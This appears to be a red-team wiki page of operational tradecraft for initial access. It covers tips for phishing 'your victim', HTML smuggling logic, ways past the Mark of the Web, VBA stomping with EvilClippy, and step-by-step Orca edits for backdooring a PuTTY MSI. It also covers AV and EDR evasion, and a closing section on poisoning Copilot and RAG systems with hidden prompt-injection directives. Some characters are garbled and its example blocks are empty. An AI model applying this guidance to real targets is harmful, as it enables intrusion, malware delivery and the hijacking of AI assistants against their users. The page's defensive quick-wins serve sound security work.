search

Initial Access

hashtag
Modern Initial Access

hashtag
Introduction

hashtag
Typical Initial Access Vectors

  • Email with malware attached/linked

    • Most attacks using attached malware won't work

    • Out of the box protection may not cover PDF, ISO, IMG, HTML, SVG, PPTM, PPSM, ACCDE

    • Most URL-based attacks do work

    • domain's reputation, age, category should be sound

    • domain should use https

    • limit number of GET elements and their names

    • use HTML Smuggling to evade

    • get your domain warmed up (send some legitimate emails first with no attachment and links)

    • Advanced attacks may involve delivering backdoored trusted applications (e.g., older Electron apps with V8 exploits) via phishing to bypass application control like WDAC.

  • Spear-phishing/ phishing / stealing valid credentials

    • Check your mail with Phishiousarrow-up-right before sending it to your victim

    • use decode-spam-headersarrow-up-right to analyze returned SMTP headers

    • Be aware that default Microsoft Office settings now block macros in files downloaded from the internet (marked with MOTW). Success often requires significant social engineering to convince users to bypass these protections or using alternative delivery methods (e.g., containers that don't propagate MOTW, signed add-ins).

    • images and link increase spam score, be wary of it

    • don't use no-reply like usernames

    • send through GoPhis -> AWS SOCAT :587 -> smtp.gmail.com -> @target.com

    • link to websites on trusted domains, like cloud-facing resources

    • make sure your webserver blocks automated bots

  • Deep?fake voice or video social?engineering calls (help?desk or executive impersonation) to obtain password resets or approve MFA prompts.?Generative?AI tools make cloning voices trivial.

  • Business Email Compromise (BEC) / OAuth consent phishing that targets finance or vendor?portal users, yielding cloud?token access even where MFA is enabled.

  • Malicious OneNote .one attachments and OneDrive "Add to Shortcut" abuse: embedded HTA/JS payloads bypass Office macro blocking and spread via cloud sync.

  • Excel blocks untrusted Internet-origin XLL add-ins by default (M365, 2023+). Smuggled XLLs inside containers may still be blocked once MOTW propagates.

  • Malicious browser extensions (Chrome, Edge, Firefox) delivered through fake Web Store listings; hijack session cookies or inject scripts into authenticated SaaS sessions.

  • attackers register malicious cloud apps and trick users into granting scopes, giving token-based access that bypasses MFA

  • Reusing stolen credentials against external single factor VPN, gateways, etc

  • Password Spraying against Office365, custom login pages, VPN gateways

  • Exposed RDP with weak credentials and lacking controls

  • Unpatched known vulnerable perimeter device, application bugs, default credentials, etc

  • Rarely HID-emulating USB sticks

  • WiFi Evil Twin -> Route WPA2 Enterprise -> NetNTLMv2 hash cracking -> authenticated network access -> Responder

  • Plugging into on-premises LAN -> Responder/mitm6/Ldaprelayx

  • SEO poisoning / paid?search malvertising (e.g., fake PuTTY & WinSCP ads, dominant loader delivery 2024�25) and "quishing" PDFs whose QR codes redirect victims to mobile OAuth login pages

  • Consent?/token?phishing and Adversary?in?the?Middle (AiTM) proxy kits that steal OAuth session cookies or proxy MFA (e.g., EvilProxy, Tycoon, Dadsec). These vectors bypass MFA by tricking users into granting access to rogue Azure AD / Google Workspace apps.

  • Supply?chain compromise of developer ecosystems:

    • malicious NPM / PyPI typosquat packages

    • poisoned GitHub Actions or CI/CD secrets exfiltration

    • container?registry deception (imageless Docker Hub repos or curl | bash installers).

    • First contact often occurs on developer workstations.

  • Mass?exploited perimeter and edge?device zero?days (e.g., Ivanti Connect Secure (such as CVE-2023-46805, CVE-2024-21887), MOVEit Transfer (such as CVE-2023-34362), Citrix Bleed) enabling unauthenticated remote code execution before credentials come into play. Maintain a live "current CVEs exploited?in?the?wild" table and apply virtual patching/WAF rules where upgrades lag.

  • Cloud & Kubernetes misconfigurations:

    • exposed S3 buckets allowing upload?then?execute objects

    • SSRF into EC2 IMDSv1 or GCP metadata to steal instance credentials

    • open Kubernetes API/Argo CD dashboards, and leaked Azure SAS tokens that grant cross?tenant data extraction.

    • OIDC Workload Identity Federation exposed: stolen GKE/EKS service?account tokens grant cross?cluster privilege escalation.

    • AWS STS credentials embedded in shareable URLs (GetFederationToken, presigned S3, etc.) leak temporary keys to attackers.

  • Mobile initial?access vectors:

    • smishing or WhatsApp/Telegram lures

    • QR?code invoice/resum� phishing that lands on mobile browsers

    • rogue Mobile Device Management (MDM) enrolment profiles granting full device admin.

    • Passkey/WebAuthn phishing pages that spoof the biometric prompt to hijack FIDO sessions.

    • Sideload invitations via fake Apple TestFlight or Test Fairy links deliver malicious iOS/Android apps outside official store review.

  • Collaboration?app abuse:

    • malicious Microsoft Teams/Slack/Discord apps with overbroad OAuth scopes

    • slash?command token vacuum

    • SharePoint Framework (SPFx) app sideloading

    • Discord/Telegram CDN links hosting first?stage binaries.

  • If WinRM over HTTPS (WinRMS, port 5986) is enabled (it's not by default) and its Channel Binding setting remains at the default "Relaxed", it becomes vulnerable to NTLM relay attacks. Relayed credentials (e.g., from coerced HTTP/SMB/LDAP) can grant RCE. Ironically, enabling WinRMS to "harden" a system by disabling HTTP WinRM (port 5985, which is relay-resistant due to internal encryption) can introduce this vulnerability. Key technical details:

    • Standard WinRM (port 5985) uses HTTP with SPNEGO; channel binding is enabled by default, so NTLM relay fails unless the attacker controls TLS.

    • WinRMS (port 5986) runs over HTTPS; if CbtHardeningLevel is not set to Strict, credentials can still be relayed despite TLS.

    • Channel Binding (CBT) can be set to None (disabled), Relaxed (optional), or Strict (required)

    • Mitigation: winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'

    • Prefer Kerberos or certificate-based auth for WinRM; monitor and reduce NTLM usage.

  • Exploiting misconfigured Power Platform services (e.g., Power Apps with overly permissive shared connections or abusing Power Query for native SQL execution against on-prem data gateways).

hashtag
Command & Control

hashtag
Exec/DLL to SHELLCODE

For detailed information on converting executables and DLLs to shellcode, including:

  • Embedding shellcode into loaders

  • Backdooring legitimate PE executables

  • Tools like Donut, sRDI, Pe2shc and Amber

  • Open-source shellcode loaders like ScareCrow and NimPackt-v1

See the Shellcode documentation.

hashtag
EDR Evasion Techniques

For detailed information on EDR evasion techniques, including:

  • Malware Virtualization

  • API Unhooking

  • Early Cascade Injection

  • Killing Bit techniques

  • Call Stack Obfuscation

  • Sleep Obfuscation

See the EDR Evasion documentation

hashtag
Modern CyberDefense Stack

  • Secure Email Gateway / Email Security

    • FireEye MX

    • Cisco Email Security

    • TrendMicro for Email

    • MS Defender for Office365

  • Secure Web Gateway

    • Symantec BlueCoat

    • PaloAlto Proxy

    • Zscaler

    • FireEye NX

  • Secure DNS

    • Cisco Umbrella

    • DNSFilter

    • Akamai Enterprise Threat Protector

  • AntiVirus

    • McAfee

    • ESET

    • Symantec

    • BitDefender

    • Kaspersky

  • EDR

    • CrowdStrike Falcon

    • MS Defender for Endpoint

    • SentinelOne

    • VMware Carbon Black

hashtag
Defensive quick?wins

  • Email/web controls

    • Enable Microsoft Defender for Office 365 Safe Links and Safe Attach (or vendor equivalent).

    • Block direct download of executable formats; detonate unknowns in sandbox.

  • Office hardening

    • Keep "Block macros from the Internet (MOTW)" enforced; prefer trusted locations.

    • Block XLL add?ins, unsigned COM add?ins, and legacy Excel 4.0 macros

    • ASR rules: Block Office child processes; Block Win32 API calls from Office; Block executable content from email and webmail; Block credential stealing from LSASS.

  • Browser/extension control

    • Enforce extension allowlists (Chrome/Edge/Firefox policy); disable developer mode on managed devices.

  • Identity & auth

    • Enforce MFA; restrict OAuth app consent (publisher verification + admin consent workflows); tenant restrictions.

    • Prefer phishing?resistant MFA (FIDO2/CTAP); block legacy/basic auth; monitor device?code flow abuse.

  • Endpoint policies

    • WDAC/Smart App Control or application allow?listing for untrusted installers (MSI/MSIX/ClickOnce).

    • Monitor and restrict PowerShell Constrained Language Mode exceptions; log script block.

    • For WinRM: prefer Kerberos/certificate auth; set WinRMS channel binding to Strict: winrm set winrm/config/service/auth '@{CbtHardeningLevel="Strict"}'.

hashtag
Security Controls Evasion

hashtag
Perimeter Defense Evasion

Secure Web Gateway

  • sensitive on

    • Domain characteristics

    • URL-fetched contents (HTML, body, javascript)

    • MIME types (where file type is allowed or not)

  • can be evaded via

    • high reputation servers (cloud instances)

    • HTML smuggling

Secure DNS

  • sensitive on

    • Domain categorisation, maturity, whois examination

    • Presence on real-time blocking lists, threat intelligence feeds, virustotal-alike databases

    • SSL/TLS certificate contents

  • can be evaded via

    • high reputation domains (Domain fronting CDN like azure edge CDN, Cloud-based resources like AWS lambda or azure blob storage, personal cloud drives)

    • use Talos Intelligencearrow-up-right to check reputation

    • AWS is dumber than Azure, use it

hashtag
Endpoint Defense Evasion

Antivirus

  • sensitive on

    • static signatures

    • heuristic signatures

    • behavioural signatures

    • trigger events on-demand -> on-write -> on-access -> on-execute -> real-time

    • proactive protection of them is weaker due to low false-positive, low impact and high stability requirements

      • before-exec: mainly cloud-reputation based examination

      • before-exec: machine learning evaluation focusing on hand-picked characteristics

      • on-exec: simulating entry point and first N instructions

      • on-exec: memory scanner sweeping process virtual memory allocations for presence of signatured threats

    • steps

      • static analysis

      • heuristic analysis

      • cloud reputation analysis + automated sandboxing / detonation

      • ML analysis

      • emulation

      • behavioural analysis

  • can be evaded via

    • static analysis by writing custom malware

    • heuristic analysis by smartly blending-in with our payload

    • cloud reputation by backdooring legitimate binaries, devising malware in containers (PDF, Office docs), sticking to DLLs

    • automated sandboxing by environmental keying (only execute if something)

    • ML analysis by trial and error, hard to combat

    • emulation by time-delaying, environmental keying

    • behavioural analysis by

      • avoiding suspicious WinAPI calls

      • acting low-and-slow instead of all-at-once

      • unhooking/direct syscalls may work

EDR Evasion Techniques

For detailed information on EDR evasion techniques, including:

  • Malware Virtualization

  • API Unhooking

  • Early Cascade Injection

  • Killing Bit techniques

  • Call Stack Obfuscation

  • Sleep Obfuscation

  • Telemetry obfuscation

  • Persistence strategies

  • Event correlation evasion

See the EDR Evasion documentation.

hashtag
Windows Defender Bypass Techniques

For detailed information on Windows Defender bypass techniques, including ASR bypasses and custom detection rules evasion, see the EDR Evasion documentation.

hashtag
Hosting Payloads

  • Server Hosting our Payload must

    • Look benign, best if commonly used for file hosting

    • Have SSL/TLS certificate signed by trusted authority

    • Hard to be blocked by target (cloud based)

  • Example

    • Cloud-based file storage: Office365 OneDrive, SharePoint, AWS S3, MS Azure Storage, Google Drive, FireBase Storage

    • CDN: Azure Edge CDN, StackPath, Fastly, Akamai, Google Cloud AppSpot, HerokuApp

    • Serverless Endpoints: AWS Lambda, CloudFlare Workers, DigitalOcean Apps

  • use LOTS Projectarrow-up-right for help

  • use LOLBINSarrow-up-right

    • prefer DLL over EXE

    • indirect execution to circumvent EDR/AV

    • DLL Side-Loading / DLL Hijacking / COM Hijacking / XLL

  • check Microsoft Block Rulesarrow-up-right to better circumvent defender

hashtag
Infection Vectors and Chains

hashtag
Classic File Infection Vectors

MAC

  • initial access is getting harder, for example for MAC you can still bypass

    • Unsigned apps (gets through with few clicks)

    • Office Macros + .SLK Excel4 macros (constrained by gatekeeper)

    • you can use Mystikalarrow-up-right

  • Use LNK, CHM, CPL, DLL, MSI, HTML, SVG; hold Office w/macros, ISO, VHD, XSL.

Windows Script Host

  • VBE, VBS, JSE, JS, XSL, HTA, WSF

  • Mostly well detected and subject to AMSI detection. Effectiveness significantly reduced for Office macros due to default security settings blocking macros from the internet (MOTW).

  • Viable strategies for WSH scripts (often requiring MOTW bypass or user interaction):

    • File Dropper

      • download a file from internet/ UNC share or unpack from itself

      • save the file onto workstation

      • run the file directly/indirectly via LOLBIN

    • DotNetToJScript / GadgetToJScript

      • a way to deserialize and run .NET executables in-memory

      • use BinaryFormatter to deserialize them

    • XSL TransformNode

      • simple technique to run XSL/XML files in-memory while maintaining low IOC footprint

    • XLAM Dropper

      • Macro-enabled excel add-in file

      • when dropped to %APPDATA%\Microsoft\Excel\XLSTART, they are auto-executed when starting excel

    • Microsoft Compiled Help Messages

      • can be used to run a system command whenever user browses into them

      • some used to run VBS or quietly install MSI

    • LNK

      • EXE/ZIP embedded into LNK

      • can be polyglot-ted with HTA/ISO/PDF/ZIP/RAR/7z

      • use icons to weaponize, inspect with LEcmdarrow-up-right to make sure not disclosing MAC & hostname

      • always run through a LOLBIN like conhost.exe

    • HTML Smuggling

      • body onload callback

      • optional setTimeout delay or direct entrypoint call

      • embedded payload footprint

      • actual logic

        • create a JavaScript Blob object holding raw file data

        • if operating on IE use msSaveOrOpenBlob

        • else, create a dynamic <a style="display:none"></a> HTML node

        • invoke URL.createObjectURL() and set <a href="...">

        • set download name via <a>.download

        • programmatically click the anchor to trigger the download

      • use detect-headlessarrow-up-right to identify sandboxes

      • run anti-headless logic after some time elapses

      • Can bypass most secure gateways, but the downloaded file (e.g., ISO, ZIP, LNK, document) still faces endpoint scrutiny. If the smuggled file relies on macros (e.g., .docm), it will likely be blocked by default Office security unless the user explicitly enables content.

    • COM Hijack

  • every VBA strategy requires launcher and often needs to overcome default macro security blocks:

    • WScript.Shell

    • WMI Win32_Process::Create

    • Shell(...)

    • etc

hashtag
Complex Infection Chains

Containerized Malware

  • Files downloaded from internet have Mark of the Web(MOTW) taint flag

  • Default Behavior: Office documents having MOTW flag have their macros blocked by default, preventing automatic execution. This is a major mitigation against traditional macro-based attacks.

  • You can download it from intranet or trusted locations to circumvent this (less common for initial access).

  • Some container file formats do not propagate MOTW flag to inner files when extracted, providing a potential bypass:

[!Note] (Windows 11 22H2+): ISOs opened via double-click in Explorer inherit MOTW. Using Mount-DiskImage via PowerShell typically avoids propagation; validate on your build.

Chains Recipe

  • In?the?wild sample

    • Spear-Phishing

    • Link in mail or Link in PDF

    • HTML Smuggling drops ISO or ZIP

    • ZIP contains RTLO?tricked .EXE disguised as .PDF being legit 7?Zip executable

      • .PDF.EXE when clicked, sideloads benign vcruntime140.dll that imports evil 7za.dll

    • ISO contains LNK + DLL

      • .LNK runs rundll32 evil.dll,SomeExport

  • Delivery - convey your chain (HTML smuggling drop in drive-by download fashion)

  • Container - archive bundling all infection files

    • ISO/IMG/ZIP can contain hidden files

  • Trigger - some way to run our payload (LNK/CHM)

  • Payload - our malware

    • Note: Macro-enabled office documents (.docm, .xlsm) are less reliable for initial execution due to MOTW blocks unless combined with social engineering or specific bypasses.

    • can be macro-enabled office document with MOTW stripped (e.g., delivered inside a container like ISO/VHD)

    • DLL/CPL/XLL to be loaded by trigger directly or indirectly with LOLBIN (XLLs also subject to MOTW blocking if downloaded directly)

    • XLAM to be copied to XLSTART for persistence & abusing office trusted path

    • MSI/MSP to run during silent installation (MOTW stripped)

    • VbaProject.OTM for outlook persistence

    • .EXE + .DLL executing through side-loading attack

  • Decoy - keep your victim happy by displaying some interesting stuff

Successful Strategies

hashtag
VBA Infection Strategies

  • Important Note: The effectiveness of traditional VBA macro execution on document open (AutoOpen, Document_Open) is significantly diminished due to Microsoft's default security policy blocking macros in files downloaded from the internet (MOTW). Successful execution often requires social engineering to have the user explicitly trust the document/location or alternative execution methods (like COM hijacking triggered later, Add-Ins, etc.).

  • Alt+F11IM - quickly inserts VBA module into a document

  • abuse path

    • execute

    • file dropper

    • COM hijack

    • DotNetToJScript

  • use of WinAPI is strongly inadvisable due to detection

  • GetUserNameA might be fine but things like CreateProcessA is a big no-no

  • AutoOpen,Document_Open, etc can be used to auto-run our script

hashtag
Attack Surface Reduction Rules

hashtag
Execute

  • Most basic strategy is to simply run some command with LOLBIN. Subject to macro execution policies.

  • Avoid running immediately; prefer persistence. Consider COM/DLL hijacking and always use LOLBINs.

  • useful ones

    • Wscript.Shell.Exec - prefix with obf_ to facilitate later obfuscation

    • InvokeVerbEx - evades detection but sometimes doesn't work with LOLBIN

    • RDS.DataSpace - supposed to be obsolete, but still works

  • use AMSIToolsarrow-up-right to review AMSI events

hashtag
DotNetToJScript

  • DotNetToJScript - runs .NET assemblies in-memory through Assembly.Load. Still requires the initial VBA/JScript execution, which is often blocked.

hashtag
File Dropper

  • Deadly as long as AV/EDR not detect our dropped payload OnWrite. The initial macro execution to drop the file is the primary hurdle due to default security.

  • files can be pulled from

    • internet

    • office file structures

    • inside VBA code itself - not good

hashtag
COM Hijack

  • Plants dodgy COM server via registry key in HKCU that overrides HKLM system defaults. This is a persistence/later execution technique, bypassing the initial macro block issue, but the initial planting still needs to occur.

  • create registry key structure using VBA

  • drop a DLL file to HDD

  • wait until system/application picks that COM object up and instantiate it

  • beware your DLL might be executed hundreds time per minute

  • implement single-instance / single-run logic

  • don't hijack MMDeviceEnumerator, user sees issues

  • use CacheTask -> {0358B920-0AC7-98F4-58E32CD89148}

  • learn more herearrow-up-right

hashtag
Lures

  • Present plausible pretext that gets removed after macros run ( like docusign or adjust to your version). Modern lures often need to convince the user to click "Enable Content" or move the file to a trusted location.

  • we can leverage shapes (images, text boxes, macro cycles through them)

  • big blob of shellcode embedded in VBA stands out

  • we can use

    • shellcode or commands in document properties

    • word variables

    • word/excel/powerpoint parts

    • VBA forms

    • spreadsheet cells

    • Word ActiveDocument.Paragraphs

hashtag
Alternative AutoRuns

  • Proxy sandboxes like Zscaler are sensitive to Auto_Open(), that might give away our maldoc. These autoruns are also subject to the default macro blocking policies.

  • Workboot_SheetCalculate += RAND() might be useful

  • MS Word Remote Templates are a good choice as well

  • Office offers customizing ribbon based on CustomUI XML; we can abuse the onLoad part as well

  • ActiveX controls can be inserted into document, but will be called a lot so keep it simple. Also subject to security controls.

hashtag
Exotic VBA Carriers

  • MS Office

    • Access .accde, .mdb, PowerPoint, Publisher .pub

    • Visio .vsdm, Visio97 .vsd , MS Project .mpp

    • Publisher RTF files

    • Outlook ThisOutLookSession, VBAProject.OTM

  • SCADA Systems

    • Siemens SIMATIC HMI WinCC

    • General Electric HMI Scada iFix

    • IGSS schneider-electric

  • CAD Software

    • VBA Module for AutoCAD / VBA Manager in AutoCAD 2021

    • ProgeCAD Professional

    • SOLIDWORKS .swp,.swb VBA Project files

    • DS CATIA V5

    • Bentley MicroStation CONNECT .MVBA files

  • Others

    • ArcMap .MXT files

    • Oscilloscopes Keysight E5071C Network Analyzer

    • TIBCO Statistica Visual Basic .SVB analysis configuration

    • Rocket Terminal Emulator

    • MicroFocus InfoConnect Desktop

hashtag
VBA Stream Manipulation

  • VBA macros are stored in vbaProject.bin OLE stream modules

  • each module consists of

    • PerformanceCache - compiled VBA code, office version specific

    • CompressedSourceCode - compressed VBA with MS proprietary algorithm

  • VBA Stomping relies on the fact that Office prefers executing PerformanceCache if its version matches, so we can use malicious performance cache and innocuous compressed code. Detection for stomping has improved, and the macro execution itself is still subject to security policies.

  • EvilClippy offers other useful features as well

    • Hide VBA from GUI

    • Remove metadata stream

    • Set random module names

    • Make VBA Project unviewable/locked

    • EvilClippy.exe -s fakecode.vba -t 2016x8666 macrofile.doc

  • VBA Purging

    • removes PerformanceCache from module and _VBA_PROJECT streams

    • changes MODULEOFFSET to 0

    • removes all __SRP_# streams

    • this removes strings representing VBA code parts, lowering detection potential

hashtag
Evasion Tactics

  • Uglify - remove empty lines, add random indentation, insert garbage code & comments

  • Rename variables and function/sub names

  • Randomize functions order

  • Obfuscate strings

  • Avoid overly long lines

  • Payload obfuscation is trickier

  • use VisualBasicObfuscatorarrow-up-right

  • Sandbox Evasion

    • detect if running in sandbox environment, don't run any further. Doesn't bypass the default user-facing macro block.

    • validation of username/domain

    • uptime check

  • internet-exposed IPv4 geolocation & reverse?PTR

    • weaker stuff (hardware,process list, NIC MAC addresses)

  • Office Files Encryption

    • Powerful evasion technique against static analysis but does not bypass the runtime macro execution blocks based on MOTW.

    • Office documents can be password-protected / encrypted

    • Excel always tries hardcoded password value of VelvetSweatshop

    • Powerpoint always tries /01Hannes Ruescher/01

    • use msoffice-crypt.exe

  • Office trusted path + AMSI evasion

    • Relies on getting the file into a trusted path first, bypassing the initial MOTW block.

    • requires disabling/patching optics

    • sometimes works

  • checkout zip motwarrow-up-right for a sample MOTW evasion

hashtag
MSI Shenanigans

hashtag
Installation

  • MSI installer can be built with WiX toolsetarrow-up-right, which brings us several properties

  • there is a <CustomAction> tag letting us run .DLL, .EXE, .VBScript/Jscript

  • After installation we can safely uninstall MSI, leaving no trace on HDD

  • Can run

    • inner VBScript/JScript in-memory

    • inner .NET assembly in-memory

    • inner EXE file by extracting it to C:\Windows\Installer\MSIXXXX.tmp

  • when running EXE, parent-child relationship gets dechained into wininit.exe -> services.exe -> msiexec.exe -> MSIxxxx.tmp

hashtag
Types

  • .MSI - compound storage file format comprising of a set of databases structured in OLE format

  • .MSP - Windows installer patch file

  • .MSM - Windows merge module installer's file (not usable)

  • .MST - Windows installer transformation file

  • Files are stored in .CAB archives, that are bundled into MSI media table

  • To extract contents from .MSI we can use lessmsiarrow-up-right, ORCAarrow-up-right or msidumparrow-up-right

  • ORCA & MSISnatcher lets us backdoor existing MSI file

hashtag
Manual

  • compile WXS into WIXOBJ

  • links WIXOBJ into MSI

  • use rogue-dot-net\generateRouteDotNet.py to compile custom .NET DLL based off shellcode

  • create self-exctractable, standalone .NET CustomAction DLL with WiX MakeSfxCa

  • compile WXS into WIXOBJ

  • link WIXOBJ into MSI

  • install, wait, uninstall

hashtag
Backdoor Existing MSI

  • we can add rows to existing MSI thus backdooring it

  • Interesting Fields

    • Binary - table that holds binary data in-memory during MSI installation

    • CustomAction - actions to perform pre/post installation

    • InstallExecuteSequence - sequence-ordered list of actions that take place during installation

    • File - files to be extracted into system

    • Component - describes into which directory should file be extracted

    • Media - CAB files inside of MSI

    • Registry - Contains all registry keys & values to be created

    • Shortcut - scatters LNK all around the system

  • Process

    • copy putty-installer.msi to backdoored.msi

    • open orca.exe and open backdorred.msi inside it

    • tables -> CustomAction -> right click -> add row -> Action=whatever1, type=1250, source=INSTALLDIR, target=calc

    • tables -> InstallExecuteSequence -> sort tables by Sequence column -> add row -> Action=whatever1, condition= NOT REMOVE, sequence = 6599

    • file -> save as -> backdoored.msi

    • test it

  • we can automate the process using MSISnatcher

hashtag
Windows App Package Format

  • .MSIX which supersedes .MSI by enforcing publisher authentication via code signing certificate

  • installed .APPX/.MSIX goes into %ProgramFiles%\WindowsApps\<PublisherName>.<AppName>_<AppVersion>_<Arch>_<Hash>

  • extensions

    • MSIX the zip of signed installation package

    • APPX a directory containing EXECUTABLES/Program, .AppxManifest.xml, [Content_Types.xml], assets, icons, other files

    • APPXBUNDLE, MSIBUNDLE contains .APPX/.MSIX and other files

    • APPINSTALLER - XML file pointing towards .APPXBUNDLE or .MSIX installers

  • deployment

    • double-click

    • windows store

    • browsing a website with ms-appinstaller link

    • via PowerShell Add-Package -Path .\evil.appx

    • via remote host through DCOM - checkout ProvisionAppxarrow-up-right

    • a static Azure blob storage website -> HTML with ms-appinstaller URL handler -> use a signed binary (179$)

hashtag
Executables

hashtag
Basics

Static Detection

  • Static Detection is simplest to evade, simply use packers

    • PE Protector - encrypt & anti-debug/anti-x

    • PE Compressor - reduce the file size

    • .NET Obfuscators - protect IP, symbol names, strings

    • Script Obfuscators - VBA/VBScript, PowerShell, BAT

    • Virtualizers - translate input PE executable machine code into custom VM

    • Executable Signers - steal genuine EXE certificate + properties and apply on implant

    • Resource Editors - remove Icon, version information

    • Shellcode Loaders - load shellcode in a stealthily

    • Shellcode Encoders - Shikata Ga Nai

  • you can use ProtectMyToolingarrow-up-right for various packers

  • Note on Online Scanners: While services like AntiScan.Me can give an initial idea of detection rates, they don't replace testing against a local, isolated machine representative of the target environment. Defenses like Windows Defender may behave differently in a real system compared to online sandboxes.

  • Targeted Evasion: Aiming for a universal "0 detection rate" can be time-consuming. It's often more effective to gather intelligence on the target's specific security solutions and focus evasion efforts accordingly.

Offensive CI/CD Pipeline

  • RedTeam Malware Development

  • Test Stability, Reliability, Security

  • Artifact Obfuscation

  • Test Against Offline EDR

  • Watermarking & IOC Collection

  • Operational Use

  • Implant Tracking in Threat Intelligence Feeds

PE Backdoor

  • Inject Shellcode Into Legitimate Executable

    • middle of current code section

    • into separate section

  • Redirect Execution

    • change AdressOfEntryPoint

    • Hijack branching call JMP, CALL

    • TLS Callback

  • Sign it With Self-signed/Custom Authentication

    • LimeLighter

    • Mangle

    • ScareCrow

    • osslsigncode.exe

  • Spoofed Certificates: Signing an implant, even with a spoofed or invalid certificate, can sometimes reduce detection by AVs that don't thoroughly validate the certificate chain. However, be aware of potential legal consequences.

  • Timestamping: The choice of Time Stamp Authority (TSA) server when signing can also unexpectedly influence detection rates by different AV products.

PE Watermarking

  • Keep Track of implant/malware/IOC

  • Inject Custom Watermark to Payloads and Poll VirusTotal

  • Where to Inject

    • DOS Stub

    • PE Header Properties: TimeStamp, Checksum

    • Overlay

    • Additional PE Section

    • Resources: Version Information, Manifest

  • What Should it Look Like

    • Random SHA256 might be enough

    • Encrypted engagement metadata

PE Attribute Cloning and Code Signing Considerations

  • Cloning Attributes: Copying file attributes (version information, icons, product names, original filenames, etc.) from legitimate binaries can help an implant blend in.

    • When cloning, choose binaries that are legitimately present and commonly used on the target system. For instance, cloning an iTunes binary for a Windows Server target would be suspicious.

    • Consider cloning attributes from unsigned legitimate Windows binaries (e.g., at.exe) and not signing the implant. This may be more effective than cloning a signed binary (like RuntimeBroker.exe) and then signing the implant with a spoofed certificate, especially if the EDR/AV can easily verify signatures of its own system's binaries.

  • Testing is Crucial: Always test cloned and/or signed implants on a system mimicking the target environment, as behavior can differ significantly from online scanning services.

hashtag
Shellcode

For detailed information on shellcode loaders, techniques, and implementation, including:

  • Allocation, write, and execution phases

  • Local vs remote injection

  • Methods to hide shellcode

  • Storage solutions (including Certificate Table approach)

See the Shellcode documentation.

hashtag
Formats

  • EXE

    • use EV Cert code signing if you can afford it

    • otherwise self-signed LimeLighter,ScareCrow,osslsigncode

  • DLL

    • typical no subject for prevalence/reputation score

    • offer delayed & de-chained execution primitives

    • not visible in process list

    • facilitate DLL hijacking attacks

    • can be used by LOLBIN

    • cleanup is hard, to remove first need to exit threads and then free that library

    • call kernel32!FreeLibraryAndExitThread when your evil DLL execution is done

    • keep DLLMain as simple as possible, or better don't used it at all, use the bullet point below

    • DLL hijacking/proxying/side-loading/planting/search-order hijacking to evade detection

    • use Spartacusarrow-up-right or Crassusarrow-up-right for DLL Hijacking automation

    • for DLL Side-Loading use Frida+WFH,Koppeling, Siofra or Spartacus and Crassus

    • Beware MS Defender might trigger on DLL Side-Loading/Hijacking

  • CPL

    • control panel applet

    • double-clickable

  • WLL

    • word add-in

    • not double-clickable

  • XLL

    • excel add-in

    • double-clickable

    • if has MOTW gets blocked

hashtag
Additional Evasion Techniques

For detailed information on EDR evasion techniques, including:

  • String obfuscation

  • Entropy manipulation and file bloating

  • Time-delayed execution

  • Sandbox detection and environmental keying

  • AMSI and ETW evasion

  • Call stack obfuscation

  • DripLoader technique

See the EDR Evasion documentation.

hashtag
Emerging Initial-Access

  • Cloud identity & OAuth token theft (AiTM proxy kits, consent phishing, pass?the?cookie).

  • MFA fatigue / prompt bombing.

  • Exploiting edge devices & perimeter zero?days (Ivanti, Citrix, Fortinet, Atlassian, etc.).

  • Third?party package & CI/CD compromise (malicious NPM/PyPI, GitHub Actions secrets).

  • Cloud & Kubernetes misconfigurations (IMDS SSRF, public buckets, SAS token leaks, exposed dashboards).

  • Mobile & QR?code phishing / rogue MDM enrolment.

  • Collaboration & chat?app abuse (Teams, Slack, Discord, SharePoint Framework sideloading).

  • Firmware & driver implants � malicious signed drivers, kernel PAP bypasses (Pluton, DRTM).

  • LLM ecosystem abuse: malicious prompt?injection browser extensions, poisoned fine?tuned model weights, or compromised RAG pipelines that plant backdoors in AI?assisted workflows.

  • Exploiting misconfigured Power Platform services (e.g., Power Apps with overly permissive shared connections or abusing Power Query for native SQL execution against on-prem data gateways).

Malvertising & Trojanized Tools

  • Widespread SEO/malvertising campaigns promote trojanized installers for PuTTY, WinSCP, and GitHub Desktop. Campaigns observed in 2025 include Oyster/CleanUpLoader/Broomstick and GitHub?hosted signed payloads.

  • Common flow: Sponsored/ad result ? look?alike site ? signed loader ? staged payloads (stealers, loaders, ransomware precursors).

  • Practical mitigations:

    • Prefer vendor domains and block sponsored results for admin tooling where possible.

    • Require known publishers for installer execution (WDAC/AppControl); warn on newly observed certs.

    • Hunt for typosquatted domains, installers spawning DPAPI access and named pipes shortly after install.

AiTM & OAuth Consent Phishing

  • PhaaS kits (EvilProxy/Evilginx/Tycoon) proxy MFA and harvest session cookies; consent phishing grants persistent access via OAuth scopes.

  • Device?code phishing variants coordinate over chat to race the code window and complete sign?in.

  • Practical mitigations:

    • Enforce publisher verification + admin consent workflows; disable user consent where not needed; monitor consent grants.

    • Enable token protection/binding where available; reduce sign?in session lifetimes; restrict refresh tokens on risky sign?ins.

    • Block legacy/basic auth; require phishing?resistant MFA (FIDO2/CTAP); enforce CA policies on device compliance/location.

    • Detect: unexpected prompt=none flows, unusual consent grants, and cookie?only sessions without credential submissions.

hashtag
AI/LLM-Powered Initial Access

The rapid adoption of enterprise AI tools creates novel initial-access vectors through prompt injection, poisoned training data, and compromised AI pipelines.

Microsoft 365 Copilot Prompt Injection

Attack Vector: Poison SharePoint documents indexed by Copilot to execute hidden instructions when queried by users.

Technique:

Delivery Methods:

  • Upload poisoned documents to high-traffic SharePoint sites

  • Inject into wikis, OneNote notebooks, or collaborative spaces

  • Hide instructions in document properties or alternate data streams

  • Use Unicode zero-width characters to hide directives

Impact:

  • Credential harvesting when users click generated links

  • Data exfiltration via Copilot's web request capabilities

  • Social engineering at scale (Copilot generates convincing phishing messages)

  • Lateral movement (Copilot accesses files user has permissions for)

Example Copilot Poisoning:

RAG (Retrieval Augmented Generation) Database Poisoning

Concept: Insert malicious documents into vector databases (Pinecone, Weaviate, Chroma) used by LangChain/LlamaIndex applications.

Attack Workflow:

  1. Identify Target RAG System:

    • Company knowledge bases (Confluence, Notion exports)

    • Internal documentation sites

    • Customer support chatbots

    • HR/policy Q&A systems

  2. Craft Adversarial Embeddings:

    • Documents rank highly for common corporate queries

    • Use semantic manipulation to boost retrieval scores

    • Embed malicious instructions in high-similarity contexts

  3. Injection Methods:

    • Contribute to public wikis/repos the company indexes

    • Upload to shared drives that feed the RAG pipeline

    • Submit via "suggest edit" features on documentation sites

    • Exploit unvalidated user-generated content

Example Poisoned Document:

